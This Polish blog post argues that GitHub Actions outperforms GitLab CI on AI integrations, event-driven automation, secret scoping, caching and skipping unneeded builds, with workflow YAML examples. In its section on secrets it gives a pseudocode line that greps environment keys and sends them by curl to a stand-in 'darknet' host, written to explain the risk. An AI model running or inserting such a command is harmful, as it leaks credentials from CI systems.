Jak CI to GitLab? Taka była prawda 10 lat temu. Może nawet była to prawda 5 lat temu. Ale na tym koniec. Czas zaktualizować wiedzę.
Miałem bardzo duży sentyment do GitLaba, odkąd uwolnił mnie od konieczności zadawania się z Jenkinsem czy jeszcze gorszymi potworkami. Jeśli, podobnie jak do niedawna ja, myślisz pozytywnie o GitLabie, ten artykuł jest dla ciebie. Pokażę, czemu w 2026 roku nie ma sensu opierać komercyjnego lub opensource’owego Continuous Integration o tę platformę.
Nie będę pisał, który YAML jest bardziej estetyczny albo łatwiejszy do czytania. W dalszej części podam 5 obiektywnych obszarów, gdzie GitHub Actions daje konkretne przewagi: przy integracji z narzędziami AI, nie-AI-owej automatyzacji pull/merge requestów, bezpieczeństwie kluczy API, albo po prostu na minutach pracy chmury obliczeniowej kompilującej nasz kod.
To krótki artykuł. O porównaniu wszystkich możliwości platform CI można by pisać książki. Ja zwracam uwagę tylko na wycinek, ale moim zdaniem bardzo znaczący.
Spis treści
Dostępność integracji narzędzi AI
Programista dostaje komentarz na code review – odpisuje @copilot refactor this according to the comment above i nie musi odrywać się od pracy nad inną rzeczą w swoim IDE. GitHub Copilot będzie działał w chmurze.
Prawie cały zespół jest na urlopie, a programista dostaje do code review kod w technologii, w której prawie w ogóle nie pracuje – wysyła komentarz @codex review performance impact of this PR i szybko dostaje pomoc.
Takie narzędzia są tu i teraz, a kto wie, jakie będą za pół roku? Nie wiem i byłbym bogaty, gdybym wiedział. Za to na pewno wiem jedno: nie będzie ich na GitLabie.
Copilota oczywiście nie będzie, bo to produkt konkurencji. Codex od OpenAI integruje się z GitHubem. I tyle. Sprawdźcie listę dostępnych integracji.
Żeby włączyć na GitHubie Claude’a, wystarczy z grubsza dodać:
- uses: anthropics/claude-code-action@v1
i podać prompt. Za to dokumentacja, jak zintegrować Claude’a z GitLabem to horror. Najpewniej nie pisał tego człowiek, tylko halucynował AI, bo nie ma czegoś takiego jak /bin/gitlab-mcp-server, nie było i raczej nigdy nie będzie, zgodnie z aktualnymi planami GitLaba. Ta dokumentacja na stronie Clauda to niedziałający bełkot, ale dobrze pokazuje, jak czołowi twórcy narzędzi AI-owych szanują mniej popularną z platform.
Czy te firmy nie traktują GitLaba poważnie dlatego, że są złe? Ja je rozumiem – wystarczy spojrzeć na różnice w modelowaniu danych CI.
Komentarze i Pull Requesty jako first-class citizen
Jak dużo pracy trzeba poświecić, by zaimplementować, że dodanie komentarza @mójbot zrób no coś uruchomi pewien kod? Na poziomie koncepcyjnym zieje przepaść:
- GitHub Actions w elegancki, jednolity sposób traktuje różne powody, dla których coś startuje na CI. Ktoś robi push do repozytorium, albo otwiera bug report, albo komentuje na code review – są to różne typy eventów, które można obsłużyć i uruchomić joby CI.
- Dlatego nie ma dużej różnicy w pisaniu kodu robiącego coś po pushu do
maini kodu reagującego na otwarcie buga. - GitLab założył, że CI obejmuje pushe do Gita, plus zadania odpalane a la cron, plus „ręcznie” startowane pipeline’y. Nic więcej.
- Jeśli chcemy dodać automatyzację uruchamianą komentarzem albo otwarciem issue, droga do tego jest zupełnie inna i dużo bardziej skomplikowana niż dodanie kompilacji tego, co ktoś pushował.
- Dlatego nie ma dużej różnicy w pisaniu kodu robiącego coś po pushu do
Weźmy konkretne przykłady.
GitHub
W GitHubie dodanie poniższego krótkiego kodu do .github/workflows/ w repozytorium daje mi działającą automatyzację odpowiadającą na otwarcie komentarza. Nie ma żadnego klikania po UI – robię git commit, git push, a gdy wejdzie do main, automatyzacja działa. Dokumentacja mówi, jakie pola mogę czytać, gdzie jest tekst komentarza.
on: issue_comment
jobs:
run_something:
name: Process new comment
runs-on: ubuntu-latest
steps:
- run: |
echo "User wrote $COMMENT_TEXT"
env:
COMMENT_TEXT: ${{ github.event.comment.body }}
Chcemy policzyć coverage i wrzucić do PR-a, ale nie mnożyć komentarzy za każdym razem, gdy autor zrobi git push? Są gotowe rozwiązania, nie musimy tego wymyślać od zera:
- name: Post or update PR comment
if: steps.find-pr.outputs.pr != ''
uses: peter-evans/create-or-update-comment@v5
with:
issue-number: ${{ steps.find-pr.outputs.pr }}
body-path: metrics-comment.md
edit-mode: replace
comment-id: ${{ steps.find-comment.outputs.comment-id }}
GitLab
Widać, że kwestią kilku minut i jednego krótkiego YAML-a w repo będzie w GitHubie dodanie prostej automatyzacji typu:
jeśli ktoś otworzy issue, gdzie tekst zawiera ciąg znaków „Reproduction steps”, dodaj do issue taga „reproduction-steps”
Co jeśli chcemy taką samą automatyzację zrobić w GitLabie? Zaczynamy od postawienia publicznie dostępnego endpointu! Czyli serwera. Serio. Ewentualnie wystarczy napisanie i zdeployowanie lambdy.
Że będziemy płacić za hosting tego serwera (lambdy)? To tylko początek problemów. Musimy odpowiednio ustawić dwa tajne klucze i poklikać w UI GitLaba (nie ma automatyzacji), żeby informacja o nowym bugu obiegła pół Internetu, zatoczyła kółko i wróciła z powrotem na serwery GitLaba. Obsługiwać wygasanie ważności klucza i rotację.

Musimy też wymyślić konwencję: jak wołając „trigger pipeline” przekazać informację o bugu i tagu, jak nazwać parametry? Potem musimy zadbać, by w dwóch miejscach (repozytorium z kodem serwera/lambdy oraz repozytorium projektu, gdzie uruchamiamy CI) te parametry były tak samo nazwane.
Stopień skomplikowania pokazuje repozytorium triage-ops, w którym twórcy GitLaba trzymają narzędzie, które obsługuje nadawanie tagów ich własnym bug reportom.
Bezpieczeństwo tajnych kluczy
Załóżmy, że na CI tylko w bardzo wąskich okolicznościach odpalamy job, który używa tajnego klucza API i woła bardzo drogi AI. Dobrze byłoby mieć możliwość, żeby ten klucz nie „latał” wszędzie bez potrzeby.
Niestety, GitLab nie daje takiej opcji! Tajne klucze definiujemy w UI w Settings -> CI/CD Variables. Implementacja jest prosta: taka zmienna na etapie działania zostaje uniksową zmienną środowiskową. Możemy ustawić „masked”, żeby w logach CI zmienna była drukowana jako „***”. Możemy ustawić „protected”, żeby była ustawiana tylko w głównym branchu. Co jednak jeśli pipeline dla głównego brancha ma 20 jobów, w nich multum różnych zewnętrznych narzędzi do analizy statycznej i kto wie jeszcze jakiej? Mamy 20 miejsc, gdzie dowolny proces albo biblioteka może zrobić odpowiednik takiego oto pseudokodu: env | grep KEY | curl -XGET http://darknet.com/stolen-keys?key=$k&value=$v. Tajny klucz w GitLabie jest dostępny dla każdego joba albo dla żadnego. Nic pomiędzy. Gdy jobów jest dużo, bardzo trudno jest zapewnić bezpieczeństwo.
GitHub Actions ma inny model. W UI mamy „Actions secrets and variables”. Jeśli ustawimy klucz jako „secret”, nie trafia automatycznie do każdego joba. Dopiero po zadeklarowaniu staje się zmienną środowiskową:
env:
GRADLE_OPTS: --build-cache
AI_API_KEY: ${{ secrets.AI_API_KEY }}
Możemy dzięki temu zastosować dobre praktyki bezpieczeństwa, że do tajnych danych mają dostęp tylko te joby, które naprawdę tego potrzebują.
Lepsza optymalizacja cache
Odpowiednie cache’owanie rzeczy w CI jest potrzebne, by niektóre typy zadań działały szybko. Obie platformy dają taką opcję. Jednak GitHub daje większe pole do optymalizacji.
W GitLabie cache może mieć jedno z trzech zachowań: pull, push, push-pull. Gdy jest włączony push, po zakończeniu pracy joba, odpowiednie pliki są zzipowane i wysyłane. Nawet jeśli nie ma to sensu i nawet jeśli wysyłanie dużych plików zajmuje za dużo czasu.
W GitHubie cache zachowuje się w sposób bardziej skomplikowany, ale przez to można uniknąć niepotrzebnego pushowania. Załóżmy, że chcemy unikać ściągania Gradle’a za każdym razem. Jeśli użyjemy actions/cache@v5 i key: gradle-wrapper-${{ inputs.gradle-version }} to tylko raz nastąpi push pod klucz gradle-wrapper-9.3.1. Gdyby okazało się, że coś jest pod kluczem gradle-wrapper-9.3.1, to pakowanie i push zostanie pominięte.
Zresztą, na GitHubie unikniemy wymyślania sprytnych strategii cache’owania pakietów czy zależności. Najpewniej ktoś to za nas zrobił. Na przykład akcja setup-gradle jest oficjalnie utrzymywana przez twórców Gradle’a, którzy dzięki głębokiej wiedzy są w stanie zrobić sporo magii w mikrooptymalizacjach.
Na GitLabie nie wykształcił się podobny do Actions sposób dzielenia się dobrymi praktykami. Nawet gdyby twórcy Gradle’a chcieli pracować nad mikrooptymalizacją cache’a w GitLabie (zgadliście: nie, nie chcą), musieliby wrzucić kod gdzieś w swojej dokumentacji, a wy musielibyście tam zaglądać, czy coś się nie poprawiło i kopiować YAML do siebie.
Dodatkowo, jako osoba pracująca nad optymalizacją cache’a w GitLabie mogę powiedzieć: wymaga to więcej pracy niż być powinno. Nie ma żadnego wsparcia ze strony platformy, prośby wiszą bez odpowiedzi od roku 2018 (typowe, więcej piszę dalej). Trzeba ręcznie dodawać du -sh w odpowiednich miejscach. Muszę dodawać, że GitHub ma szczegółowe raporty dostępne wygodnie w UI, bez żadnego kodowania?
Unikanie budowania
Ktoś wrzucił commit, gdzie poprawia przecinek w README.md, a ty płacisz za przerzucanie cache’a między serwerami i procesor runnera CI uruchamiający niepotrzebnie kompilację i testy? Brawo, witamy na GitLabie.
GitHub Actions ma składnię, która pozwala na wyłączenie uruchamiania jobów, gdy wszystkie zmienione pliki wpadają w pewien filtr. Na przykład w jobach z testami możemy ustawić, żeby nie uruchamiały się dla zmian, które nie wychodzą poza dokumentację:
on:
push:
paths-ignore:
- 'docs/**'
GitLab nie ma odpowiednika takiej składni. Da się skonfigurować, że job odpali się jedynie wtedy, gdy pliki wpadają w pewny filtr. To jednak nie jest najlepszy pomysł. Jesteś w stanie wyliczyć z pewnością wszystkie pliki, które mają wpływ na testy i budowanie twojego kodu? Wszystkich możliwości nie da się z góry przewidzieć. Załóżmy, że ustawiasz changes: **/*.kt. Tymczasem za pół roku jest potrzeba dodania modułu parsującego pliki PNG. Miesiąc później ktoś postanawia zaktualizować dane testowe i wrzuca MR z 1 plikiem, jest to src/test/resources/input.png. Testy pominięte, pipeline MR-a zielony, więc MR ktoś merge’uje, po czym okazuje się, że cała firma nie może odpalić testów. Bo na nowym pliku jednak nie przechodziły testy, a niestaranny kolega nie raczył odpalić testów lokalnie. W GitHubie można zrobić takie optymalizacje dużo bezpieczniej.
Bonus: wrażenia i zaufanie
Tu kończę obiecane przeze mnie konkretne, obiektywne kryteria.
Jednak nie wszystko, co istotne, da się zmierzyć. Nie wszystko, co da się zmierzyć, jest istotne. Dorzucę więc trochę osobistych, wieloletnich obserwacji, których nie mogę poprzeć „twardymi dowodami”. Czytajcie albo nie, wierzcie albo nie – ostrzegałem.
Męka z Dockerem
Nie jest to „deal breaker”, ale wyjście poza „hello world” w GitLabie łączy się chyba zawsze z założeniem firmowego zestawu obrazów Dockera. Nie dlatego, że chcesz, ale dlatego, że w GitLabie wszystko musi działać wewnątrz Dockera – czyli to accidental complexity. Jeśli job odpalasz na eclipse-temurin:21 (publicznym obrazie z Javą), ale nagle w jednej linijce chcesz przetworzyć małą rzecz za pomocą NodeJS – nie da się:
- albo musisz założyć na tą jedną linijkę osobny job używający
nodejs:24, przerzucając między jobami artefakty i kod (wolne i nie zawsze łatwe) - albo nagle musisz stworzyć obraz zawierający zarówno Javę, jak i Node; dobrze mieć przy tym solidną wiedzę o best practices co do tworzenia obrazów Dockera, bo nowicjusz łącząc obraz 800 MB z obrazem 600 MB bardzo łatwo zrobi obraz ważący 3 GB, a każdy megabajt zwalnia start joba
Bardzo często mała zmiana w skryptach CI GitLaba kończy się koniecznością przerwania pracy, przewędrowaniem do innego repozytorium z obrazami Dockera, dorzuceniem czegoś do obrazu albo stworzeniem nowego obrazu, potem trzeba go opublikować, użyć w skrypcie CI… Literówka? Wszystko od nowa!
W GitHub Actions filozofia jest inna: wbudowane runnery mają bardzo szeroki zestaw najpopularniejszych narzędzi programistycznych. Nie tylko kompilatory/interpretery, ale też narzędzia jak jq. Nie ma „shotgun refactoring” na poziomie CI, gdy potrzebujemy uruchomić jedno małe nowe polecenie. Wygodne i wydajne cache’owanie powoduje, że nawet gdy binarki jakiegoś narzędzia nie ma na runnerze, kwestią kilku linijek w GitHub Actions jest jej dodanie. Domyślnie nie używa się obrazów Dockera, ale gdyby ktoś bardzo potrzebował, to da się.
Reakcja na problemy
Tak od 2024 widzę w GitLabie wracające co rusz globalne awarie. Do tego nie awarie po godzinę albo dwie, ale cały dzień roboczy, gdzie CI oferowany przez gitlab.com nie działał. Nie tak, że powiedzmy co czwarty job timeoutował – nie budowało się nic a nic. Awarie się zdarzają, ale firmy powinny wyciągać z nich wnioski. Ja tego nie widzę.
Awarie awariami, ale są też błędy, niezgodność z dokumentacją, problemy UX-owe i tak dalej. Zgłaszanie ich na bug tracker GitLaba to najczęściej strata czasu, bo kończy się stwierdzeniem, że nie ma komu tego poprawiać (za co w takim razie płaci moja firma?). W efekcie UI GitLaba coraz bardziej odstaje od tego, co współcześnie jest normą. Pełno jest małych irytujących błędów spowalniających codzienną pracę.
Mimo to zespół GitLaba ciągle chwali się „ulepszeniami”, co miesiąc publikują długi artykuł, co nowego wprowadzili. Niezmiennie ciężko mi tam znaleźć rzeczy, które usprawniają pracę moją i mojej firmy. W ogóle nie czuję, żeby był to produkt odpowiadający na potrzeby typowych zespołów programistów. To, co widzę w ogłoszonych nowościach, to głównie skupianie się na potrzebach ekstremalnie regulowanych środowisk korporacyjnych (słówko „compliance” w co drugim tytule).